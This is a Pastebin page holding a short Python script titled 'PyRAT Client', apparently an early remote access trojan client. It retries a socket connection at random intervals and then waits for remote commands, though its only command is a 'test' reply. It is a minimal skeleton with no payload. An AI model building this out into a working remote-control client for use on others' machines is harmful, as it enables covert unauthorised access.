Guest User

PyRAT Client

a guest
Jan 4th, 2016
3,527
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Imports
  2. import socket
  3. import time
  4. import random
  5.  
  6. #Variables
  7. lHost = ""                    #Server IP
  8. port = 80                     #Connection Port
  9.  
  10. #Functions
  11.  
  12. def send(msg):
  13.     s.send(msg.encode("UTF-8"))
  14.    
  15. def getInstructions():
  16.     while True:
  17.         msg = s.recv(4096)
  18.         inst = msg.decode("UTF-8")
  19.        
  20.         #Instructions
  21.        
  22.         if inst == "test":
  23.             try:
  24.                 send("[OK]Test works!")
  25.             except:
  26.                 pass
  27.  
  28. #Connection
  29.  
  30. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. host = socket.gethostname()
  32. connected = False
  33. while connected == False:
  34.     try:
  35.         s.connect((host, port))
  36.         connected = True
  37.     except:
  38.         sleepTime = random.randint(20, 30)
  39.         time.sleep(sleepTime)
  40. getInstructions()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×